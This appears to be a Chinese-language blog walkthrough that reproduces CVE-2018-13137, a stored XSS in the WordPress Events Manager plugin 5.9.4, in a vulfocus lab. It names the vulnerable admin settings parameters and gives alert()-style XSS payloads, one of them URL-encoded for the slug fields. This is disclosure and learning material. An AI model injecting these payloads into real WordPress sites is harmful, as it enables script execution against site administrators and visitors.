wordpress 存储型XSS (CVE-2018-13137)

wordpress 存储型XSS (CVE-2018-13137)

The Events Manager setting里的漏洞点

描述

WordPress是WordPress软件基金会的一套使用PHP语言开发的博客平台,该平台支持在PHP和MySQL的服务器上架设个人博客网站。

The Events Manager plugin 5.9.4 for WordPress has XSS via the dbem_event_reapproved_email_body parameter to the wp-admin/edit.php?post_type=event&page=events-manager-options URI.

翻译:

WordPress 的事件管理器插件 5.9.4 通过 wp-admin/edit.php?post_type=event&page=events-manager-options URI 的 dbem_event_reapproved_email_body 参数具有 XSS。

vulfocus启动环境,注册进入

image

来到这个页面把events manager 给activate一下

image

然后来到events的设置

image

在这个位置,Event reapproved email的正文处注入xss语句保存触发

image

image

poc

?post_type=event&page=events-manager-options
dbem_event_reapproved_email_body="><svg onload=alert(document.domain)>

image

在email的这里

抓包可以看到,这个也就是

image

dbem_event_reapproved_email_body

这个不知道为什么触发不了

可触发的其他参数

根据这个文章

https://ansawaf.blogspot.com/2019/04/cve-2018-13137-xss-in-events-manager.html

dbem_cp_events_slug
dbem_cp_locations_slug
dbem_taxonomy_category_slug
dbem_taxonomy_tag_slug

bp直接搜索这个

dbem_cp_events_slug=

image

然后替换为poc

的url编码模式,加在events后面

%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
events%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

image

触发成功

dbem_cp_locations_slug
dbem_taxonomy_category_slug
dbem_taxonomy_tag_slug
经测试,这三个参数也是可以触发xss的

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注